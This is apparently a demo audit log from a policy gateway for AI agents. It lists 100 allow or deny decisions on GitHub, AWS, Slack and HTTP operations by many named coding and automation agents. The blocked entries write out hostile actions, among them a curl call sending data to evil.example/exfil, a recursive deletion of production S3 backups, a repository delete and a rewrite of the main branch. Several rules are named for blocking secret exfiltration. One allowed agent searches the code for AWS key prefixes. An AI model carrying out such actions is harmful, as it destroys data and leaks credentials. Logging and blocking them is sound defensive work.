Audit Trail
100 decisions across all agents
Events
100
Allowed
90
Blocked
10
Required policy intervention
Active Agents
48
Reporting in this window
Recent Decisions
Newest first| Decision | Vendor | Operation | Agent | Rule | When |
|---|---|---|---|---|---|
| DENY | http | POST /services/T02QU5QGT8B/B0B0TSBK2Q5/vfnh3NMwbettnuNDPjTRgprO | cordon-toxic-chain-demo demo | block-secret-exfiltration | 2d ago |
| DENY | github | DELETE /repos/acme/widget | cordon-toxic-chain-demo demo | block-github-repo-delete | 2d ago |
| DENY | http | POST /services/T_FAKE/B_FAKE/FAKE_PLACEHOLDER | cordon-toxic-chain-demo demo | block-secret-exfiltration | 5d ago |
| DENY | github | DELETE /repos/acme/widget | cordon-toxic-chain-demo demo | block-github-repo-delete | 5d ago |
| allow | slack | chat.postMessage | marketo-campaign prod | — | 5d ago |
| allow | slack | chat.update | zendesk-bot-growth dev | — | 5d ago |
| allow | aws:s3 | GetBucketLogging | spinnaker-59 dev | — | 5d ago |
| allow | http | POST /jira/rest/api/3/issue | release-notes-bot dev | — | 5d ago |
| allow | github | GET /repos/acme/widget/dependabot/alerts | snyk-scanner dev | — | 5d ago |
| allow | aws:iam | GetRole | spinnaker-9 prod | — | 5d ago |
| allow | github | POST /repos/acme/mobile/git/trees | codex-gina staging | — | 5d ago |
| allow | slack | conversations.history | slack-helpdesk prod | — | 5d ago |
| allow | github | GET /repos/acme/widget/issues/1585 | cursor-nova prod | — | 5d ago |
| allow | aws:eks | DescribeCluster | k8s-rollout-platform prod | — | 5d ago |
| allow | http | POST /v1/payouts | billing-sync-54 prod | — | 5d ago |
| allow | github | GET /repos/acme/widget/pulls/1017/files | claude-code-quinn dev | — | 5d ago |
| allow | http | POST /v1/refunds | invoice-gen-data dev | — | 5d ago |
| allow | github | GET /search/code?q=TODO | claude-code-val staging | — | 5d ago |
| allow | aws:kinesis | GetRecords | spark-job-60 dev | — | 5d ago |
| allow | http | POST /jira/rest/api/3/issue | linear-sync prod | — | 5d ago |
| allow | aws:athena | StartQueryExecution | kafka-consumer-sre prod | — | 5d ago |
| allow | github | POST /repos/acme/mobile/git/blobs | codex-yara dev | — | 5d ago |
| allow | github | GET /repos/acme/mobile/pulls/991 | copilot-workspace-1 prod | — | 5d ago |
| allow | http | POST /v1/chat/completions | aider-priya prod | — | 5d ago |
| allow | github | GET /repos/acme/infra/branches | copilot-workspace-1 prod | — | 5d ago |
| DENY | subprocess | curl https://evil.example/exfil | jira-bot prod | block-network-cli-shellout | 5d ago |
| allow | aws:iam | ListAttachedRolePolicies | flux-appsec prod | — | 5d ago |
| allow | slack | conversations.history | zendesk-bot-payments dev | — | 5d ago |
| allow | http | POST /v1/pages | jira-bot prod | — | 5d ago |
| allow | aws:iam | GetCredentialReport | snyk-scanner dev | — | 5d ago |
| allow | http | POST /api/v2/tickets/562/comments | slack-helpdesk prod | — | 5d ago |
| allow | github | GET /repos/acme/widget/pulls/1204 | cursor-nova prod | — | 5d ago |
| allow | slack | users.lookupByEmail | zendesk-bot-appsec staging | — | 5d ago |
| DENY | subprocess | aws s3 rm s3://prod-backups --recursive | airflow-ml-70 prod | block-network-cli-shellout | 5d ago |
| allow | http | POST /v1/messages | windsurf-umi prod | — | 5d ago |
| allow | subprocess | wc -l notes.md | paper-summarizer-quinn prod | — | 5d ago |
| allow | http | POST /v1/messages | intercom-resolver dev | — | 5d ago |
| allow | aws:dynamodb | GetItem | spark-job-28 prod | — | 5d ago |
| allow | http | POST /v1/messages | codex-yara dev | — | 5d ago |
| allow | github | POST /repos/acme/docs/git/blobs | windsurf-umi prod | — | 5d ago |
| allow | http | GET /jira/rest/api/3/search | linear-sync prod | — | 5d ago |
| allow | github | GET /repos/acme/widget | aider-kira dev | — | 5d ago |
| allow | aws:dynamodb | Query | airflow-corp-it-46 prod | — | 5d ago |
| allow | subprocess | npm test | aider-kira dev | — | 5d ago |
| allow | http | POST /v1/messages/email | segment-pipeline-78 prod | — | 5d ago |
| allow | slack | chat.postMessage | intercom-resolver dev | — | 5d ago |
| allow | http | POST /v1/messages | claude-code-rex prod | — | 5d ago |
| DENY | aws:ec2 | TerminateInstances | segment-pipeline-78 prod | block-aws-terminate | 5d ago |
| allow | slack | chat.update | zendesk-bot-growth dev | — | 5d ago |
| allow | github | GET /repos/acme/mobile/contents/finance-reports/ | billing-sync-54 prod | — | 5d ago |
| allow | aws:glue | GetTable | dbt-support dev | — | 5d ago |
| allow | subprocess | npm test | windsurf-umi prod | — | 5d ago |
| allow | aws:dynamodb | PutItem | dbt-corp-it dev | — | 5d ago |
| allow | aws:dynamodb | Query | spark-job-91 prod | — | 5d ago |
| allow | http | POST /api/v2/tickets/906/comments | slack-helpdesk prod | — | 5d ago |
| allow | github | POST /repos/acme/widget/git/trees | claude-code-quinn dev | — | 5d ago |
| allow | http | POST /v1/contacts/615412ca/tags | segment-pipeline-78 prod | — | 5d ago |
| allow | github | POST /repos/acme/widget/git/trees | codex-hana prod | — | 5d ago |
| allow | github | GET /repos/acme/mobile/branches | copilot-workspace-1 prod | — | 5d ago |
| allow | http | POST /v1/invoices | invoice-gen-data dev | — | 5d ago |
| allow | github | POST /repos/acme/infra/issues/115/comments | aider-priya prod | — | 5d ago |
| allow | aws:ec2 | DescribeVpcs | k8s-rollout-platform prod | — | 5d ago |
| allow | github | GET /repos/acme/api/dependabot/alerts | snyk-scanner dev | — | 5d ago |
| allow | github | GET /repos/acme/api/branches | copilot-workspace-42 prod | — | 5d ago |
| allow | http | GET /api/v1/papers/e7beecf8 | paper-summarizer-quinn prod | — | 5d ago |
| allow | http | GET /v1/balance | billing-sync-54 prod | — | 5d ago |
| allow | slack | users.lookupByEmail | slack-helpdesk prod | — | 5d ago |
| allow | slack | conversations.history | zendesk-bot-growth dev | — | 5d ago |
| allow | github | GET /repos/acme/widget/pulls/1917/files | codex-yara dev | — | 5d ago |
| allow | http | POST /v1/webhooks/dcf80eb4 | jira-bot prod | — | 5d ago |
| allow | http | POST /v1/messages/email | segment-pipeline-78 prod | — | 5d ago |
| allow | http | POST /v1/charges | billing-sync-8 prod | — | 5d ago |
| allow | github | GET /repos/acme/widget/pulls/667 | claude-code-val staging | — | 5d ago |
| allow | aws:rds | DescribeDBInstances | spinnaker-9 prod | — | 5d ago |
| allow | aws:s3 | GetObject | airflow-corp-it-46 prod | — | 5d ago |
| allow | subprocess | wc -l notes.md | paper-summarizer-mira prod | — | 5d ago |
| allow | aws:lambda | ListFunctions | spinnaker-59 dev | — | 5d ago |
| DENY | subprocess | aws s3 rm s3://prod-backups --recursive | billing-sync-54 prod | block-network-cli-shellout | 5d ago |
| allow | github | GET /repos/acme/docs | codex-hana prod | — | 5d ago |
| allow | github | GET /search/code?q=AKIA | copilot-workspace-67 staging | — | 5d ago |
| allow | aws:athena | StartQueryExecution | airflow-corp-it-36 prod | — | 5d ago |
| allow | aws:s3 | GetBucketLogging | argocd-devex dev | — | 5d ago |
| allow | http | POST /v1/payouts | billing-sync-8 prod | — | 5d ago |
| allow | subprocess | git log --oneline -10 | aider-umi prod | — | 5d ago |
| allow | http | GET /api/v2/tickets | slack-helpdesk prod | — | 5d ago |
| allow | aws:s3 | GetObject | spark-job-28 prod | — | 5d ago |
| allow | aws:dynamodb | Query | airflow-corp-it-36 prod | — | 5d ago |
| allow | aws:s3 | HeadObject | dbt-corp-it dev | — | 5d ago |
| allow | subprocess | npm test | windsurf-umi prod | — | 5d ago |
| allow | http | POST /api/v1/jobs | kafka-consumer-sre prod | — | 5d ago |
| allow | aws:ec2 | DescribeInstances | flux-appsec prod | — | 5d ago |
| allow | aws:cloudformation | DescribeStacks | argocd-devex dev | — | 5d ago |
| allow | aws:s3 | ListObjectsV2 | kafka-consumer-infra prod | — | 5d ago |
| allow | aws:s3 | GetObject | dbt-corp-it dev | — | 5d ago |
| DENY | github | PATCH /repos/acme/web/git/refs/heads/main | panther-detector prod | block-github-ref-rewrite | 5d ago |
| allow | github | GET /repos/acme/mobile/pulls/1552/files | cursor-nova prod | — | 5d ago |
| allow | slack | users.lookupByEmail | zendesk-bot-growth dev | — | 5d ago |
| allow | http | GET /arxiv/abs/2457.78198 | paper-summarizer-quinn prod | — | 5d ago |
| allow | slack | conversations.history | zendesk-bot-ml prod | — | 5d ago |
| DENY | aws:dynamodb | DeleteTable | dbt-corp-it dev | block-aws-deletes | 5d ago |